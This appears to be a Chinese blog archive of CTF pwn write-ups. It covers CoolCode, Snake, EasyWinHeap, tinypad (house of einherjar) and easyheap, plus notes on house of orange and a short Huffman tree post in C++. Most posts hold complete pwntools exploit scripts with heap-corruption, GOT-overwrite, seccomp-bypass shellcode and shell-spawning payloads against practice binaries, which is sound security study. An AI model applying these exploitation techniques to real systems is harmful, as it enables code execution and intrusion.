eqqie 发布的文章

解题思路综合了wp和比赛时的思路,做了一点简化

CoolCode

这题一开始粗心了,没看见有个逻辑漏洞导致可以绕过可见字符判断,但是在这种情况下sad师傅还是吧shellcode构造出来了,实属牛批…..

分析

  1. add功能在bss段保存堆指针,但是没限制index可以为负数,导致可以覆盖got表为堆指针
  2. add功能在读取输入的时候会用一个函数检查输入中是否包含了非数字和大写字母内容,如果有则调用exit结束程序。但是这个函数存在一个逻辑漏洞,当输入长度为1时,for循环不会进入,导致存在1字节的无效过滤。
  3. 只要覆盖free_got到堆上,并写入ret指令对应的字节b"\xc3″,就可以在exit时返回继续执行,绕过检查。(虽然绕过了检查,但是由于程序使用strncpy拷贝内容,还要注意\x00截断问题)
if ( (unsigned int)filter_input((__int64)s, num) )// 限制输入内容
  {
    puts("read error.");
    exit(1);
  }
signed __int64 __fastcall filter_input(__int64 buf, int len)
{
  int i; // [rsp+14h] [rbp-8h]

  for ( i = 0; i < len - 1; ++i )
  {
    if ( (*(_BYTE *)(i + buf) <= 47 || *(_BYTE *)(i + buf) > 57)// 0~9
      && (*(_BYTE *)(i + buf) <= 64 || *(_BYTE *)(i + buf) > 90) )// 大写字母
    {
      return 1LL;                               // error
    }
  }
  return 0LL;
}
  1. 堆上有执行权限,可以考虑构造read调用把shellcode读到write_got指向的堆上执行(只要加好偏移,执行完read调用后就会立刻执行shellcode)
  2. 程序开启了seccomp保护,只剩下部分系统调用号,其中fstat刚好对应32位下的open,于是想到在shellcode中可以使用retf切换到32位打开“./flag"再回到64位read&write。(这里是难点,retf通过pop ip和pop cs改变程序位数,要注意retf在构造栈时需要按照32位栈来构造)
  3. 最后从返回中读取flag即可

EXP

from pwn import *
p=process("./coolcode")
context.log_level = "debug"
#p=remote("39.107.119.192",9999)
def add(index,content):
    p.recvuntil(b"Your choice :")
    p.sendline(b"1")
    p.recvuntil(b"Index: ")
    p.sendline(str(index).encode())
    p.recvuntil(b"messages: ")
    p.send(content)

def show(index):
    p.recvuntil(b"Your choice :")
    p.sendline(b"2")
    p.recvuntil(b"Index: ")
    p.sendline(str(index).encode())

def delete(index):
    p.recvuntil(b"Your choice :")
    p.sendline(b"3")
    p.recvuntil(b"Index: ")
    p.sendline(str(index).encode())

def exp():
    #gdb.attach(p,"b *0x400E61\nc\n")
    # no \x00
    read_shellcode = '''
    xor rdi, rdi;
    sub rsi, 0x30
    mov rdx, rsi;
    xor rax, rax;
    syscall;
    '''
    read_shellcode = asm(read_shellcode, arch="amd64")
    add(-22, "\xc3") # exit_got->ret
    add(-34, read_shellcode) # write_got
    add(0, "CCCCCCCC")
    show(0)

    shellcode = ""
    a = '''
        add rcx, 19;
        mov rbx, 0x23
        SHL rbx, 32;
        add rcx, rbx;
        push rcx;
        retf
        mov esp, edx
        '''
    shellcode += asm(a,arch="amd64");

    b = '''
        mov eax, 5;
        push 0x00006761;
        push 0x6c662f2e;
        mov ebx, esp;
        mov ecx, 0;
        int 0x80;

        add edx, 0x43;
        push 0x33
        push edx
        retf
        '''
    shellcode += asm(b,arch="i386");

    c = '''
        mov rdi, rax;
        mov rsi, 0x602100;
        mov rdx, 0x40;
        mov rax, 0;
        syscall;

        mov rdi, 1;
        mov rsi, 0x602100;
        mov rdx, 0x40;
        mov rax, 1;
        syscall;
        '''
    shellcode += asm(c,arch="amd64");
    p.sendline("\x90"*0xe+shellcode)
    show(0)

    p.interactive()

if __name__ == "__main__":
    exp()

Snake

是个趣味题,思路不难,关键是io量太大了,容易卡住…

分析

  1. 程序是个贪吃蛇游戏,游戏地图和玩家姓名保存在堆上。假如游戏死亡,会根据死亡位置让你留下一段信息,这段信息写在存着地图的堆块上。经过测试,只要在右下角死亡,就会存在off_by_one,可以修改下一堆块的prev_size和size的低字节。
  2. 由于保存姓名的堆块大小有限制,不能为unsorted_bin,于是通过off_by_one的修改出一个unsorted_bin,同时构造一个overlapping。
  3. 泄露出unsorted_arena计算出libc_base,并利用overlapping修改其中fast_chunk的指针,把堆块分配到malloc_hook。
  4. 最后往malloc多试几个one_gadget就可以getshell了
  5. 要注意,在写脚本的时候,recv()一次游戏只会刷新一帧,需要写一个while循环send(“s”)方向键直到出现死亡信息。

EXP

from pwn import *
import time

p = process("./snake")
context.log_level = "debug"
#p = remote("39.107.244.116",9999)
def add(index,length,name):
    p.recvuntil(b"4.start name\n")
    p.sendline(b"1")
    p.recvuntil(b"index?\n")
    p.sendline(str(index).encode())
    p.recvuntil(b"how long?\n")
    p.sendline(str(length).encode())
    p.recvuntil(b"name?\n")
    p.sendline(name)

def delete(index):
    p.recvuntil(b"4.start name\n")
    p.sendline(b"2")
    p.recvuntil(b"index?\n")
    p.sendline(str(index).encode())

def get(index):
    p.recvuntil(b"4.start name\n")
    p.sendline(b"3")
    p.recvuntil(b"index?\n")
    p.sendline(str(index).encode())

def start():
    p.recvuntil(b"4.start name\n")
    p.sendline(b"4")

def play2die():
    while(1):
        ret = p.recv()
        if b"please leave words:\n" in ret:
            break
        else:
            p.send("s")
        time.sleep(0.6)

def exp():
    p.recvuntil(b"how long?\n")
    p.sendline(b"96")
    p.recvuntil(b"input name\n")
    list_start = 0x603140 #name_ptr_list
    name = b"A"*8
    p.sendline(name)

    play2die()

    words = b"123123"
    p.sendline(words)
    p.recvuntil(b"if you want to exit?\n")
    p.sendline(b"n")
    add(1,0x60,b"BBBBBBBB")
    add(2,0x20,p64(0xf0)+p64(0x21))

    start()
    play2die()
    words = b"A"*(4+0x40) + b"B"*8 + b"\xf1"
    p.send(words)
    p.recvuntil(b"if you want to exit?\n")
    p.sendline(b"n")
    delete(0)
    delete(1)

    start()
    p.recv(13)
    unsorted_arena = u64(p.recv(6).ljust(8,b"\x00"))
    libc_base = unsorted_arena - 0x3C4B20 - 0x58
    fake_chunk_start = libc_base + 0x3C4AED
    one_gadget = libc_base + 0xf1147
    malloc_hook = libc_base + 0x3c4b10
    print("unsorted_arena",hex(unsorted_arena))
    print("libc_base",hex(libc_base))
    print("fake_chunk_start",hex(fake_chunk_start))
    print("one_gadget",hex(one_gadget))
    print("malloc_hook",hex(malloc_hook))

    play2die()

    words = b"123123"
    p.sendline(words)
    p.recvuntil(b"if you want to exit?\n")
    p.sendline(b"n")

    add(0,0x50,b"AAAAAAAA")
    add(1,0x20,p64(0)+p64(0x71)+p64(fake_chunk_start))


    add(3,0x60,b"DDDDDDDD")
    add(4,0x60,b"A"*0x13+p64(one_gadget))
    print("one_gadget",hex(one_gadget))
    print("malloc_hook",hex(malloc_hook))

    p.recvuntil(b"4.start name\n")
    p.sendline(b"1")
    p.recvuntil(b"index?\n")
    p.sendline(str(5).encode())
    p.recvuntil(b"how long?\n")
    p.sendline(str(16).encode())
    p.interactive()

if __name__ == "__main__":
    exp()

EasyWinHeap

这题比赛的时候没做…比赛结束后搭建了好久的winpwn环境,然后向sad学习了一下windbg的调试。

?

关于windows的很多机制,之前没了解过,大部分来自于网上一点点的资料,还有《程序员的自我修养》。所以讲不了很详细,如果哪位师傅有详细的win堆管理机制学习资料劳烦嫖一份~

分析

程序逻辑不复杂,甚至存在很多漏洞

  1. alloc的时候将将 puts函数指针 | ((size>>4)+1) 之后和堆指针一起放置在堆上。然后在show的时候通过&0xFFFFFFF0 运算还原函数指针,然后puts堆上内容。(其实调试的时候发现函数指针最低位的变化不用考虑,应该只是做混淆)
    附:堆上指针保存位置
0:004> dd 0x1270490 0x1270600 
01270490  b1dc07df 080013cd 00011048 
01270520 012704a0  00011048 01270530 
00011048 01270540 012704b0  00011048 
01270550 00011048 01270560 012704c0  
00011048 01270570 00000000 00000000
  1. alloc的size并不是输入的size,而是之前的(size>>4)+1,但是edit的时候却是按照size长度来输入。明显存在堆溢出。
  2. 考虑修改堆上的puts指针为system或winexev的指针,然后把堆内容写"cmd.exe"作为参数(在我的系统版本,system地址包含了\x0a,导致输入会被破坏,于是只能使用winexec)。而winexev在kernel32中,和HeapFree一样,于是需要先泄露HeapFree的地址来计算偏移。既然要泄露HeapFree地址,就要把堆上保存的堆指针覆盖为HeapFree的iat地址。既然需要控制堆上指针,就需要构造unlink(win下的unlink与Linux稍有不同,主要是fd和bk都指向用户可控区域)。
    附:堆结构
01270510  00000000 00000000 a2dc07cc 
0800134e 01270520  012700c0 012700c0 
a2dc07cc 0800135d 01270530  012700c0 
012700c0 a3dd07cc 0000135d 01270540  
01270580 01270560 a2dc07cc 0800135d 
01270550  012700c0 012700c0 a3dd07cc 
0000135d 01270560  01270540 012700c0 
a2dc07cc 0800135d 01270570  012700c0 
012700c0 efdd0483 0000135d 01270580  
012700c0 01270540 00000000 00000000 
01270590  00000000 00000000 00000000 
00000000
  1. unlink构造完后就可以达成任意读写,这时只需要泄露出puts指针,计算出image_base,就衔接上了第三点的逻辑。
  2. 需要注意的是,由于edit输入后,末尾会存在00截断,导致破坏堆上原有内容,所以需要合理安排堆布局,并通过泄露部分内容以便在输入时顺便修补(详见EXP)。

EXP

from winpwn import *
context.arch='i386'
#context.log_level='debug'
context.windbg="C:\\Program Files\\WindowsApps\\Microsoft.WinDbg_1.2001.2001.0_neutral__8wekyb3d8bbwe\\DbgX.Shell.exe"
p=process("./EasyWinHeap.exe")

#windbg.attach(p)

def add(size):
    p.recvuntil("option >")
    p.sendline("1")
    p.sendline(str(size))
def free(index):
    p.recvuntil("option >")
    p.sendline("2")
    p.recvuntil("index >")
    p.sendline(str(index))
def show(index):
    p.recvuntil("option >")
    p.sendline("3")
    p.recvuntil("index >")
    p.sendline(str(index))
def edit(index,content):
    p.recvuntil("option >")
    p.sendline("4")
    p.recvuntil("index >")
    p.sendline(str(index))
    p.recvuntil("content  >")
    p.sendline(content)

add(0x70) #idx0
add(0x70) #idx1
add(0x70) #idx2
add(0x70) #idx3
add(0x70) #idx4
add(0x70) #idx5
#windbg.attach(p)
free(2)
free(4)
#windbg.attach(p)
show(2)   #过滤换行

p.recvuntil("\r\n")
ret = p.recvuntil("\r\n")
print("len(ret):",len(ret))
heap_base = u32(ret[:4]) - 0x580
idx2pptr = heap_base + 0x4a0 + 0x4*3 #0x4ac

print("heap_base:", hex(heap_base)) #泄露堆地址
print("idx2pptr:", hex(idx2pptr))

#伪造指针
#这里的ret[8:12]就是上一步额外泄露的内容,目的是修补堆块
edit(2, p32(idx2pptr-0x4)+p32(idx2pptr)+ret[8:12]) 
#windbg.attach(p)
#dd 0x1270490 0x1270600
#unlink
free(1)

#leak image_base & winexec/system
edit(2, p32(idx2pptr+0x10))
#windbg.attach(p)

show(2)
p.recvuntil("\r\n") #过滤换行
p.recv(4)
image_leak = u32(p.recv(3).ljust(4,"\x00"))
image_base = image_leak - 0x1048
idata_heapfree = image_base + 0x2004
print("image_leak:", hex(image_leak))
print("image_base:", hex(image_base))
print("idata_heapfree:", hex(idata_heapfree))

edit(2, p32(idata_heapfree))
#windbg.attach(p)
show(4)
p.recvuntil("\r\n") #过滤换行
heapfree = u32(p.recv(4))
winexec = heapfree - 0x11D10 + 0x5EA90
print("puts:", hex(heapfree))
print("winexec:", hex(winexec))

edit(3, "cmd.exe")
edit(2, p32(idx2pptr+0x4))
edit(4, p32(winexec)+p32(heap_base+0x550))
#windbg.attach(p)
p.recvuntil("option >")
p.sendline("3")

p.interactive()

注意该exp对堆地址字节数有限制(4字节),所以有时要多跑几遍。

虽然这也不是啥特别高级的技术,都是已有技术的组合。但是在实际运用的时候面临各种条件限制,各种奇葩构造方式真是让人心力憔悴。这部分wiki里给的例题还不错,集合了很多实用的技巧,值得深入分析。

引用: https://wiki.x10sec.org/pwn/heap/house_of_einherjar

0x00 原理

0x01 题目分析

源代码解析

利用点

0x02 exp思路

思路

难点

完整exp

python3

#!/usr/bin/python3

from pwn import *

p = process("./tinypad")
elf = ELF("./tinypad")
libc = ELF("./libc.so.6")

context.log_level = "debug"

def add(size:int,content):
    p.recvuntil(b"(CMD)>>> ")
    p.sendline(b"A")
    p.recvuntil(b"(SIZE)>>> ")
    p.sendline(str(size).encode())
    p.recvuntil(b"(CONTENT)>>> ")
    p.sendline(content)
    

def delete(idx:int):
    p.recvuntil(b"(CMD)>>> ")
    p.sendline(b"D")
    p.recvuntil(b"(INDEX)>>> ")
    p.sendline(str(idx).encode())
   
def edit(idx:int,content):
    p.recvuntil(b"(CMD)>>> ")
    p.sendline(b"E")
    p.recvuntil(b"(INDEX)>>> ")
    p.sendline(str(idx).encode())
    p.recvuntil(b"(CONTENT)>>> ")
    p.sendline(content)
    p.recvuntil(b"(Y/n)>>> ")
    p.sendline(b"Y")
    
def quit():
    p.recvuntil(b"(CMD)>>> ")
    p.sendline(b"Q")

def exp():
    # 1. leak heap (UAF)
    add(0x70,b"aaaaaaaa") #idx1
    add(0x70,b"bbbbbbbb") #idx2
    '''注意先delete(2)再delete(1)是因为1的低位有\x00,导致strlen无法获取长度并输出'''
    delete(2)
    delete(1)
    p.recvuntil(b"INDEX: 1")
    p.recvuntil(b"CONTENT: ")
    heap = u64(p.recvuntil(b"\n",drop=True).ljust(8,b"\x00")) - 0x80
    print("heap:",hex(heap))
    #gdb.attach(p)

    # 2. leak libc (UAF)
    add(0x80,b"aaaaaaaa") #idx1
    add(0x10,b"bbbbbbbb") #idx2
    delete(1)
    p.recvuntil(b"INDEX: 1")
    p.recvuntil(b"CONTENT: ")
    unsortedbin_arena = u64(p.recvuntil(b"\n",drop=True).ljust(8,b"\x00"))
    libc_base = unsortedbin_arena - 0x58 - 0x3C4B20
    print("unsortedbin_arena:",hex(unsortedbin_arena))
    print("libc_base:",hex(libc_base))
    #gdb.attach(p)
    delete(2)
    
    # 3. house of einherjar
    add(0x18,b"a"*0x18) #idx1
    add(0x100,b"b"*0xf8+b"\x11") #idx2
    add(0x100,b"c"*0xf8) #idx3
    add(0x100,b"d"*0xf8) #idx4
    
    tinypad = 0x602040
    fakechunk_addr = tinypad + 0x20 #tinypad+0x30-0x10 (total:0x100)
    fakechunk_size = 0x101
    fakechunk = p64(0)+p64(fakechunk_size)+p64(fakechunk_addr)*2
    edit(3,b"p"*0x20 + fakechunk)
    
    prevsize = heap+0x1b0-fakechunk_addr
    print("heap:",hex(heap))
    print("prevsize:",hex(prevsize))
    edit(1,b"a"*0x18)
    edit(1,b"a"*0x17)
    edit(1,b"a"*0x16)
    edit(1,b"a"*0x15)
    edit(1,b"a"*0x14)
    payload1 = b"a"*0x10 + p64(prevsize)
    edit(1,payload1)
    delete(2)

    
    # fix fakechunk size,fd,bk
    payload2 = b"p"*0x20+p64(0)+p64(0x101)+p64(unsortedbin_arena)*2
    edit(4,payload2)

    # 4. main_ret -> one_gadget
    one_gadget = libc_base + 0x45216
    environ = libc_base + 0x3c6f38
    print("one_gadget:",hex(one_gadget))
    print("environ:",hex(environ))
    #gdb.attach(p)
    
    payload3 = b"p"*0xd0 + b"d"*8 + p64(environ) + b"d"*8 + p64(0x602148)
    add(0xf8,payload3) #idx2
    
    p.recvuntil(b"INDEX: 1")
    p.recvuntil(b"CONTENT: ")
    main_ret = u64(p.recvuntil(b"\n",drop=True).ljust(8,b"\x00")) - 0xf0
    print("main_ret:",hex(main_ret))
    
    #modify main_ret to one_gadget
    edit(2,p64(main_ret))
    edit(1,p64(one_gadget))
    
    #quit and getshell
    p.sendline(b"Q")
    p.interactive()
    
    

if __name__ == "__main__":
    exp()

参考来源: https://wiki.x10sec.org/pwn/heap/house_of_orange/
(这里总结一下做个笔记)

0x00 背景

少数情况下不能直接控制free函数释放掉想要的堆块获得unsorted_chunk,需要用一种其它的方式获得一个unsorted_chunk,House Of Orange正是一种不用控制free从而获得释放堆块的堆利用技巧

使用条件

  1. 需要能够通过堆溢出或者其它什么方式,间接或直接控制Top Chunk的size域,改变其大小。
  2. 可以使用malloc请求分配自定义大小的堆块。

0x01 原理

触发条件

在分配新堆块时,_int_malloc依次检查 fastbin、small bins、unsorted bin、large bins是否可以满足分配要求,如果都不符合,将尝试从现有Top Chunk中分配。如果还不符合,那么ptmalloc就不再继续作用,而是使用sysmalloc向系统申请内存到用户区域。此时2原有的Top Chunk将会被置入unsorted_bin。

限制条件

该方法对修改Top Chunk的size域的值有一定的限制

源码:

if ((unsigned long)(nb) >= (unsigned long)(mp_.mmap_threshold) && (mp_.n_mmaps < mp_.n_mmaps_max))

assert((old_top == initial_top(av) && old_size == 0) ||
     ((unsigned long) (old_size) >= MINSIZE &&
      prev_inuse(old_top) &&
      ((unsigned long)old_end & pagemask) == 0));

将这些限制总结起来就是:

分配大小限制:

  • 分配的chunk大小小于128K(此时将使用brk拓展堆,否则将使用mmap)
  • 分配的chunk大小应大于被修改后的Top Chunk大小减去 fencepost的大小

Top Chunk的size大小限制:

  • 伪造的size必须要对齐到内存页 (堆块末尾地址16进制表示时后三位为0)
  • size要大于MINSIZE(0x10)
  • size要小于之后申请的chunk size + MINSIZE(0x10)
  • size的prev inuse位必须为1

0x02 示例分析

示例

//example.cpp
//gcc example.cpp -g -o example;chmod +x example
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#define fake_size 0x1fe1

int main(void)
{
    void *ptr;

    ptr=malloc(0x10);
    ptr=(void *)((long long int)ptr+0x18);

    *((long long*)ptr)=fake_size;

    malloc(0x2000); //into unsorted_bin
    malloc(0x60);
}

相对于ctfwiki上的原文稍作了修改

接着用pwndbg调试

分析

初始状态:

0x602000           0x623000 rw-p    21000 0      [heap]

0x602000 FASTBIN { <-最开始分配的,为了完成堆的初始化
  prev_size = 0, 
  size = 33, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x20fe1
}
0x602020 PREV_INUSE { <-最开始的Top Chunk
  prev_size = 0, 
  size = 135137, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

修改Fake Size

pwndbg> heap
0x602000 FASTBIN {
  prev_size = 0, 
  size = 33, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x1fe1
}
0x602020 PREV_INUSE { <-size已经被修改
  prev_size = 0, 
  size = 8161, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x604000 {
  prev_size = 0, 
  size = 0, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

malloc(0x2000) 之后

0x602000 FASTBIN {
  prev_size = 0, 
  size = 33, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x1fc1
}
0x602020 PREV_INUSE { <-通过观察fd,bk发现原来的top chunk已经进入unsorted_bin
  prev_size = 0, 
  size = 8129, 
  fd = 0x7ffff7dd1b78 <main_arena+88>, 
  bk = 0x7ffff7dd1b78 <main_arena+88>, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x603fe0 {
  prev_size = 8128, 
  size = 16, 
  fd = 0x0, 
  bk = 0x11, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x603ff0 PREV_INUSE {
  prev_size = 0, 
  size = 17, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x604000 {
  prev_size = 0, 
  size = 0, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

0x602000           0x646000 rw-p    44000 0      [heap]
//堆地址相比于之前扩大了

malloc(0x60) 之后

pwndbg> heap
0x602000 FASTBIN {
  prev_size = 0, 
  size = 33, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x71
}
0x602020 FASTBIN { <-从unsorted_bin中分割出来的chunk
  prev_size = 0, 
  size = 113, 
  fd = 0x7ffff7dd2208 <main_arena+1768>, 
  bk = 0x7ffff7dd2208 <main_arena+1768>, 
  fd_nextsize = 0x602020, 
  bk_nextsize = 0x602020
}
0x602090 PREV_INUSE {
  prev_size = 0, 
  size = 8017, 
  fd = 0x7ffff7dd1b78 <main_arena+88>, 
  bk = 0x7ffff7dd1b78 <main_arena+88>, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x603fe0 {
  prev_size = 8016, 
  size = 16, 
  fd = 0x0, 
  bk = 0x11, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x603ff0 PREV_INUSE {
  prev_size = 0, 
  size = 17, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x604000 {
  prev_size = 0, 
  size = 0, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

0x03

这类利用一般是为了创造条件,比如结合IO_FILE进行下一步的攻击

离散数学课本最后一章有讲到这一种“近大远小”的数据结构哈夫曼树,这种数据结构是实现哈夫曼编码的基础,书上讲得比较抽象于是尝试用C++简单的实现一下。

0x00 前提

在这看到了一个比较通俗易懂的解释:

https://baijiahao.baidu.com/s?id=1663514710675419737&wfr=spider&for=pc

主要就是通过一个优先队列+的结构来实现的,之前没用过STL里面的优先队列,因为需要将元素设置为自定义类型的指针,所以需要写一个比较函数来实现升序排列( priority_queue 默认是降序排列)。

如下:

struct compareNode{ //重写仿函数
	bool operator()(Node *&a, Node *&b) const
	{
		return a->weight > b->weight;//小顶堆
	}
};
priority_queue<Node*,vector<Node*>,compareNode> nodeQueue; //升序

0x01 代码实现

#include<cstdio>
#include<cstring>
#include<unistd.h>
#include<iostream>
#include<queue>
using namespace std;

#define MAXINPUT 64
#define raiseError(errMsg) write(2,errMsg,strlen(errMsg));exit(-1);
/*初始化一个新节点*/
#define initNewNode(ptr) ptr=(Node*)malloc(sizeof(Node));\
    if(ptr==NULL){raiseError("Malloc error!");}         \ 
    ptr->weight=-1;                                     \
    ptr->father=NULL;                                   \
    ptr->left=NULL;                                     \
    ptr->right=NULL;
/*生成父节点*/                                        
#define getNewFatherNode(father,leftPtr,rightPtr) initNewNode(father);\
    father->weight = leftPtr->weight + rightPtr->weight;    \
    father->left = leftPtr; father->right = rightPtr;       \
    leftPtr->father = father; rightPtr->father = father;

struct Node{
    int weight;
    struct Node *father;
    struct Node *left;
    struct Node *right;
    bool operator < (const Node &v) const{ 
        return weight > v.weight;   
    }
};
struct compareNode{
	bool operator()(Node *&a, Node *&b) const
	{
		return a->weight > b->weight; //小顶堆
	}
};
priority_queue<Node*,vector<Node*>,compareNode> nodeQueue; //升序

Node *currRoot=NULL;

void initNodeQueue(int *input,int len){ //初始化叶子节点队列
    Node *tmp=NULL;
    for(int i=0;i<len;i++){
        initNewNode(tmp);
        tmp->weight=input[i];
        nodeQueue.push(tmp);
        //printf("%d\n",tmp->weight);
    }
}

Node *huffmanTree(){ //构造哈夫曼树
    Node *leftPtr=NULL,*rightPtr=NULL;
    Node *father=NULL;
    while(nodeQueue.size()>1){
        leftPtr = nodeQueue.top(); nodeQueue.pop();
        rightPtr = nodeQueue.top(); nodeQueue.pop();
        getNewFatherNode(father,leftPtr,rightPtr);
        currRoot = father;
        nodeQueue.push(father);
    }
    return currRoot;
}

int main(int argc,char **argv){
    int input[MAXINPUT]={0};
    int j=0,len=0;
    scanf("%d",&len); //读取叶子节点个数
    len=len<MAXINPUT?len:MAXINPUT;
    for(int i=0;i<len;i++){
        scanf("%d",&input[i]); //读取叶子节点的权
    }
    initNodeQueue(input,len);
    huffmanTree();
    printf("Root weight: %d\n",currRoot->weight);
    return 0;
}

直接用shellcode解的方法比较容易,但是另一种攻击stdout泄露地址的方法更为巧妙

0x00 预期解,使用shellcode

思路:

  • 拿到mmap的地址,以及程序基地址
  • 构造unlink拿到bss段上的控制权
  • 往mmap段(rwx权限)写入shellcode
  • 在bss上构造fake chunk后free掉,拿到unsorted_bin_arena改写为malloc_hook
  • 写malloc_hook为mmap的地址

踩坑:

  • 第0个堆块大小没分配够导致后面写的能力不够,小问题
  • 第1的堆块大小没弄对,因为要保证通过检测的情况下,利用off_by_null修改第一个字节,第1个堆块只能申请为0xf8或者0xf0(p->size为0×101,offbynull后为0×100)
  • 最后free fake_chunk的时候报错,发现因为我只在fake_chunk后面构造了一个0×21的chunk,导致free后的chunk与该chunk发生合并,检测出错。于是再增加一个0×21的chunk阻止合并即可。

exp

from pwn import *

p = process("./easyheap")
elf = ELF("./easyheap")
libc = ELF("./libc.so.6")

context.log_level = "debug"
context.arch = "amd64"

def alloc(size:int):
    p.recvuntil(">> ")
    p.sendline(b"1")
    p.recvuntil("Size: ")
    p.sendline(str(size).encode())
    
def delete(index:int):
    p.recvuntil(">> ")
    p.sendline(b"2")
    p.recvuntil("Index: ")
    p.sendline(str(index).encode())

def fill(index:int,content):
    p.recvuntil(">> ")
    p.sendline(b"3")
    p.recvuntil("Index: ")
    p.sendline(str(index).encode())
    p.recvuntil("Content: ")
    p.sendline(content)

def exp():
    p.recvuntil(b"Mmap: ")
    # leak addr
    mmap_addr = int(p.recvuntil('\n',drop=True),16)
    print("mmap_addr:",hex(mmap_addr))
    alloc(0xf8) #idx0
    p.recvuntil(b"chunk at [0] Pointer Address ")
    p_base = int(p.recvuntil('\n',drop=True),16) - 0x202068
    print("p_base:",hex(p_base))
    
    # unlink
    alloc(0xf8) #idx1 
    alloc(0x20) #idx2
    target = p_base + 0x202068
    fd = target - 0x18
    bk = target - 0x10
    payload1 = p64(0) + p64(0x21) + p64(fd) + p64(bk) + p64(0x20) + p64(0) + b"a"*0xc0 + p64(0xf0)
    fill(0,payload1)
    #gdb.attach(p)
    delete(1)
    #gdb.attach(p)
    
    # write shellcode to mmap_addr
    payload2 = p64(0)*2 + p64(0xf8) + p64(p_base + 0x202060 + 0x18) + p64(0x140)
    payload2 += p64(mmap_addr)
    fill(0,payload2)
    fill(1,asm(shellcraft.sh())) #
    
    # get malloc_hook_addr
    payload3 = p64(p_base + 0x202060 + 0x30) + p64(0x20) + p64(0x91) + b"a"*0x88
    payload3 += p64(0x21) + b"a"*0x18 + p64(0x21) # be careful
    fill(0,payload3)
    #gdb.attach(p)
    delete(1) # free fake_chunk
    fill(0,p64(0)*3 + p64(0x20) + b"\x10")
    fill(3,p64(mmap_addr))
    alloc(0x20)
    
    # get_shell
    p.interactive()

if __name__ == "__main__":
    exp()

0x01 攻击stdout的方法

思路

  • 构造overlapping
  • fastbin attack拿到stdout写,获得libc_base
  • fastbin attack攻击malloc hook

细节标注在exp的注释中

exp

from pwn import *

p = process("./easyheap")
elf = ELF("./easyheap")
libc = ELF("./libc.so.6")

context.log_level = "debug"

def alloc(size:int):
    p.recvuntil(b">> ")
    p.sendline(b"1")
    p.recvuntil("Size: ")
    p.sendline(str(size).encode())
    
def delete(index:int):
    p.recvuntil(b">> ")
    p.sendline(b"2")
    p.recvuntil("Index: ")
    p.sendline(str(index).encode())

def fill(index:int,content):
    p.recvuntil(b">> ")
    p.sendline(b"3")
    p.recvuntil(b"Index: ")
    p.sendline(str(index).encode())
    p.recvuntil(b"Content: ")
    p.sendline(content)

#IO_FILE
def exp():
    #构造overlapping
    alloc(0x88) #idx0
    alloc(0x68) #idx1
    alloc(0xf8) #idx2
    alloc(0x10) #idx3 
    delete(0)
    payload1 = b"a"*0x60 + p64(0x100)
    fill(1,payload1)
    delete(2) # unlink&overlapping
    delete(1)
    #gdb.attach(p)
    
    #让中间的fast chunk出现unsorted arena的地址,便于部分写后跳转到stdout附近的fakechunk
    alloc(0x88) #idx0
    delete(0)
    
    #攻击stdout
    alloc(0x100) #idx0 用于控制中间的fastchunk
    payload2 = b"a"*0x80 + p64(0x90) + p64(0x71) + b"\xdd\x25"  #fakechunk offset
    fill(0,payload2)
    alloc(0x68) #idx1
    alloc(0x68) #idx2 stdout fakechunk
    #payload3最后的\x00是覆盖了char* _IO_write_base的低位,控制输出的起始位置
    payload3 = b"\x00"*0x33 + p64(0xfbad1800) + p64(0)*3 + b"\x00"  
    fill(2,payload3)
    
    #获取输出并计算libc_base和一些必要地址
    base_offset = 0x3C56A4
    malloc_hook_fakechunk_offset = 0x3C4AED
    realloc_offset = 0x846c0
    one_gadget_offset = 0xf1147
    p.recv(0x48)
    libc_base = u64(p.recv(8)) - base_offset
    malloc_hook_fakechunk = libc_base + malloc_hook_fakechunk_offset
    realloc = libc_base + realloc_offset
    one_gadget = libc_base + one_gadget_offset
    print("libc base:",hex(libc_base))
    print("malloc_hook_fakechunk:",hex(malloc_hook_fakechunk))
    print("realloc:",hex(realloc))
    print("one_gadget:",hex(one_gadget))
    
    #利用fastbin attack分配fake chunk到malloc hook附近
    delete(1) #修复fastbin,否则无法进行fastbin attack

    payload4 = b"a"*0x80 + p64(0x90) + p64(0x71) + p64(malloc_hook_fakechunk) #fakechunk addr
    fill(0,payload4)
    alloc(0x68) #idx1
    alloc(0x68) #idx4 malloc_hook_fakechunk
    
    #malloc_hook to one_gadget
    #直接malloc_hook->gadget无法getshell,尝试先跳到realloc调整栈
    payload5 = b"a"*(0x13-0x8) + p64(one_gadget) + p64(realloc)
    fill(4,payload5)
    alloc(0x10)

    #跑几次脚本看运气弹shell
    p.interactive()
    

if __name__ == "__main__":
    exp()